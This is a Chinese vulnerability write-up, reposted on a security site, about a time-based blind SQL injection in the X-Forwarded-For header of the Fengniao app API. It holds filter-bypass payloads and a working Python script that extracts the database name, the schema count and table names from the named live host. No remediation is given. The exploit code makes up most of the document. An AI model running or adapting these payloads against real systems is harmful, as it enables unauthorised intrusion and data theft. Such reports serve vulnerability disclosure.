频道栏目
首页 > 安全 > 网站安全 > 正文
蜂鸟网官方APP存在SQL注入漏洞(跨67个库+附绕过验证脚本)
2016-01-07 09:35:57      个评论    来源:路人甲  
收藏   我要投稿

请教SQLMAP之绕过if过滤的tamper~

目标:蜂鸟网官方APP(api.fengniao.com)

检测发现以下地方存在SQL注入漏洞:(header中的X-Forwarded-For,延时盲注)
 

GET https://api.fengniao.com/app_ipad/news_list.php HTTP/1.1
Accept-Encoding: gzip,deflate
X-Forwarded-For: 1
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Host: api.fengniao.com



由于网站设置了过滤(空格、逗号/if等),所以SQLMap没跑出来……所以又只能写Python跑了,先手工得到Payload如下,空格使用/**/代替,IF使用CASE WHEN代替:
 

'/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(CASE/**/WHEN/**/1=1/**/THEN/**/3/**/else/**/0/**/END)))nKfJ)/**/AND/**/'zyYm'='zyYm



因此,只要替换1=1为查询语句即可,因此附上验证脚本:(以跑当前数据库名为例,测试时请修改脚本中代理)
 

#!/usr/bin/env python
#coding=utf8
import httplib, urllib, re, time
database = ''
temp_database = ''
httpClient = None
count = 0
i = 33
while i < 128:
    if i == 37:
        i = i+1
    try:
        headers = {"Host": "api.fengniao.com", 
                   "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", 
                   "Accept-Encoding": "gzip,deflate", 
                   "X-Forwarded-For": "'/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(CASE/**/WHEN/**/(database()/**/like/**/0x"+temp_database+str(hex(i))[2:]+"25)/**/THEN/**/3/**/else/**/0/**/END)))nKfJ)/**/AND/**/'zyYm'='zyYm", 
                   "Accept": "*/*", 
                   "Connection": "close"}
        httpClient = httplib.HTTPConnection("192.168.222.202", 8080, timeout=30)
        url = 'https://api.fengniao.com/app_ipad/news_list.php'
        httpClient.request("GET", url=url, headers=headers)
        st = time.time()
        response = httpClient.getresponse()
        rp = response.read()
        if count == 1:
            if time.time()-st > 3:
                temp_database = temp_database + str(hex(i))[2:]
                database = database + chr(i)
                print 'user(): ', database
                i = 33
                count = 0
            else:
                count = 0
        elif time.time()-st > 3:
            count = 1
            i = i-1
        i=i+1
        
    except Exception, e:
        print e
    finally:
        if httpClient:
            httpClient.close()

 

1、跑出当前数据库用户
 

user.jpg



2、跑出当前数据库名
 

database.jpg



3、跑出所有数据库名,发现共67个,payload如下
 

'/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(CASE/**/WHEN/**/((select/**/count(*)/**/from/**/information_schema.SCHEMATA)=67)/**/THEN/**/3/**/else/**/0/**/END)))nKfJ)/**/AND/**/'zyYm'='zyYm


太多了,于是就跑前几个吧……
 

dbs.jpg


4、跑出当前库的表名,只跑前两个作为验证~
 

tb.jpg

解决方案:

请多指教~

点击复制链接 与好友分享!回本站首页
上一篇:多玩某GM系统敏感信息泄漏
下一篇:中国手游某站远程命令执行getshell已内网
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站